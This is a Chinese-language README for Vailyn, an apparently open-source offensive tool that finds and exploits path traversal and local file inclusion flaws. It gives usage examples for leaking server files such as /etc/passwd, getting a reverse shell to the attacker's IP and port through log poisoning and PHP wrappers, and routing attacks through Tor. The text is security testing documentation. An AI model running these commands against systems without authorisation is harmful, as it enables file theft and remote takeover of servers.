
Vailyn 3.0
自v3.0起,Vailyn在第一阶段支持LFI PHP封装器。使用
--lfi将其纳入扫描。
Vailyn是一款多阶段漏洞分析与利用工具,专门针对路径遍历和文件包含漏洞。其设计目标是在性能上做到极致,并提供丰富的过滤器规避技术。
Vailyn分两个阶段操作。首先,它通过尝试使用所有规避性载荷访问/etc/passwd(或用户指定的文件)来检查漏洞是否存在。分析响应后,将有效的载荷与其他载荷分离。
现在,用户可以自由选择要使用的载荷。只有这些载荷会在第二阶段中使用。
第二阶段是利用阶段。现在,它使用文件字典和目录字典尝试从服务器泄露所有可能的文件。搜索深度和目录排列级别可通过参数调整。可选地,它可以下载找到的文件,并保存到战利品文件夹中。或者,它将尝试在系统上获取反向Shell,让攻击者完全控制服务器。
目前,它支持多种攻击向量:通过查询、路径、Cookie和POST数据注入。
分阶段是为了极大提升工具性能。在以前的版本中,每个文件-目录组合都会与所有载荷进行检查。这导致了巨大的开销,因为即使载荷对当前页面无效,也总是被重复使用。
推荐且经过测试的Python版本是3.7+,但在Python 3.5和Python 3.6下也应该能正常工作。要安装Vailyn,请从发布选项卡下载存档,或者执行
$ git clone https://github.com/VainlyStrain/Vailyn
一旦放入系统,你需要安装Python依赖。
在Unix系统上,运行以下命令即可
$ pip install -r requirements.txt # --user
Vailyn使用的一些库在Windows上可能不兼容,或者安装失败。
如果你使用Windows,请使用pip安装Vailyn\·›\requirements-windows.txt中列出的需求。
如果twisted安装失败,有非官方版本可用,请参见这里,该版本应在Windows下构建。请注意这是第三方下载,其完整性不一定得到保证。成功安装后,再次对requirements-windows.txt运行pip应该可以。
如果你想完全使用反向Shell模块,你需要安装sshpass、ncat和konsole。包名因Linux发行版而异。在Windows上,你需要事先手动启动监听器。如果你不喜欢konsole,可以在core/config.py中指定其他终端模拟器。
就是这样!进入安装目录并执行以下命令启动Vailyn:
$ python Vailyn -h
Vailyn有3个必选参数:-v VIC, -a INT and -p2 TP P1 P2。然而,根据-a的不同,可能需要更多参数。
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
必选参数:
-v VIC, --victim VIC 攻击目标,第一部分 [载荷前]
-a INT, --attack INT 攻击类型 (整数,1-5,或A)
A| Spider (全部) 2| Path 5| POST Data, json
P| Spider (部分) 3| Cookie
1| Query Parameter 4| POST Data, plain
-p2 TP P1 P2, --phase2 TP P1 P2
第二阶段攻击及必需的参数
┌[ 值 ]───────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ 文件字典 │ 目录字典 │
│ inject │ IP 地址 │ 监听端口 │
│ implant │ 源文件 │ 服务器目标路径 │
└─────────┴─────────────┴────────────────────┘
附加参数:
-p PAM, --param PAM 查询参数或POST数据,用于 --attack 1, 4, 5
-i F, --check F 第一阶段要检查的文件 (默认: etc/passwd)
-Pi VIC2, --vic2 VIC2 攻击目标,第二部分 [载荷后]
-c C, --cookie C 要附加的Cookie (以头部格式)
-l, --loot 将找到的文件下载到loot文件夹
-d I J K, --depths I J K
深度 (I: 第一阶段, J: 第二阶段, K: 排列级别)
-h, --help 显示此帮助菜单并退出
-s T, --timeout T 请求超时;用于Arjun的稳定开关
-t, --tor 通过Tor匿名网络管道攻击
-L, --lfi 额外使用PHP封装器泄露文件
-n, --nosploit 跳过第二阶段 (不需要 -p2 TP P1 P2)
-P, --precise 在第一阶段使用精确深度 (而非范围)
-A, --app 启动Vailyn的Qt5界面
开发参数:
--debug 显示尝试的每个路径,包括404
--version 打印程序版本并退出
--notmain 避免在子进程调用中notify2崩溃
信息:
使用绝对路径泄露文件:-d 0 0 0
使用绝对路径获取Shell:-d 0 X 0
Vailyn目前支持5种攻击向量,并提供一个爬虫来自动化所有攻击。执行的攻击由-a INT参数标识。
INT 攻击
---- -------
1 基于查询的攻击 (https://site.com?file=../../../)
2 基于路径的攻击 (https://site.com/../../../)
3 基于Cookie的攻击 (会帮你抓取Cookie)
4 纯POST数据 (ELEM1=VAL1&ELEM2=../../../)
5 JSON POST数据 ({"file": "../../../"})
A 爬虫 从站点获取并分析所有URL,使用所有向量
P 部分爬虫 从站点获取并分析所有URL,仅使用选定向量
你还必须指定攻击目标。通过-v VIC和-Pi VIC2完成,其中-v是注入点之前的部分,-Pi是之后的部分。
示例:如果最终URL应像这样:https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue,你可以指定-v https://site.com/download.php和-Pi ¶m2=necessaryvalue(以及-p file,因为这是查询攻击)。
如果你想在扫描中包含PHP封装器(如php://filter),请使用--lfi参数。在第一阶段结束时,你会看到一个额外的选择菜单,其中列出了有效的封装器(如果有)。
如果攻击的网站需要登录页面,你可以通过-c COOKIE提供认证Cookie。如果你想通过Tor攻击,请使用--tor。
这是分析阶段,将有效的载荷与其他载荷分离。
默认情况下,会查找/etc/passwd。如果服务器不是运行Linux,你可以通过-i FILENAME指定自定义文件。注意,必须在FILENAME中包含子目录。
你可以通过-d的第一个值修改查找深度(默认=8)。
如果要使用绝对路径,将第一个深度设为0。
这是利用阶段,Vailyn将尝试尽可能多地泄露文件,或使用各种技术获取反向Shell。
第二阶段查找深度(向后遍历的最大层数)通过-d参数的第二个值指定。子目录排列级别通过-d的第三个值设置。
如果你使用绝对路径攻击并执行泄露攻击,将所有深度设为0。如果你想获取反向Shell,确保第二个深度大于0。
通过指定-l,Vailyn不仅会在终端显示文件,还会下载并保存文件到loot文件夹。
如果你想要详细输出(显示所有输出,不仅仅是找到的文件),可以使用--debug。注意输出会非常混乱,这基本上只是调试帮助。
要执行暴力攻击,你需要指定-p2 leak FIL PATH,其中:
要通过代码注入获取反向Shell,你可以使用-p2 inject IP PORT,其中:
警告
Vailyn采用了日志投毒技术。因此,你指定的IP将在服务器日志中可见。
技术(仅适用于LFI包含):
/proc/self/environ 包含 仅适用于过时的服务器Apache + Nginx 日志投毒与包含SSH 日志投毒中毒邮件包含expect://data:// (纯文本和base64)php://input为区分真实结果与误报,Vailyn执行以下检查:
-a 2,执行额外检查,检查响应内容是否与服务器根URL的内容匹配/etc/passwd作为查找文件,则进行正则表达式检查简单查询攻击,第二阶段泄露文件:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
查询攻击,但我知道一个文件file.php恰好存在于包含点之上2层:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
这将大大缩短第一阶段的时间,因为这是一次针对性攻击。
简单路径攻击:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
路径攻击,但我需要查询参数和标签:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
简单Cookie攻击:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
将获取Cookie,你可以选择要投毒的Cookie
POST纯文本攻击: 将用载荷感染DATA2
Vailyn的爬虫分析一个该死的脆弱Web应用程序。LFI封装器未启用。
发现了误报/漏报(或想指出其他bug/改进):请提一个issue!
Vailyn作为一个进攻性Web应用程序审计工具提供。它具有内置功能,可以揭示Web应用程序中的潜在漏洞,这些漏洞可能被恶意利用。
因此,作者和贡献者均不对因使用此工具而导致的任何误用或损害负责。
使用本软件,用户同意遵守当地法律,不得未经所有者明确许可或出于恶意目的攻击他人的系统。
如果发生违规行为,只有最终用户应对其行为负责。
Vailyn: 版权所有 © VainlyStrain
Arjun: 版权所有 © s0md3v
Arjun不再随Vailyn一起分发。通过pip安装其最新版本。
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"POST JSON攻击:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
攻击,但目标在登录页面之后:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
攻击,但我想要在端口1337上获取反向Shell:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # 高第二阶段深度对于日志注入是必需的
(如果在Unix上,会为你启动ncat监听器)
爬虫模式下的完全自动化:
$ Vailyn -v "http://root-url.site" -a A 你也可以在此指定其他参数,如cookie、深度、lfi和查找文件
完全自动化,但Arjun需要--stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY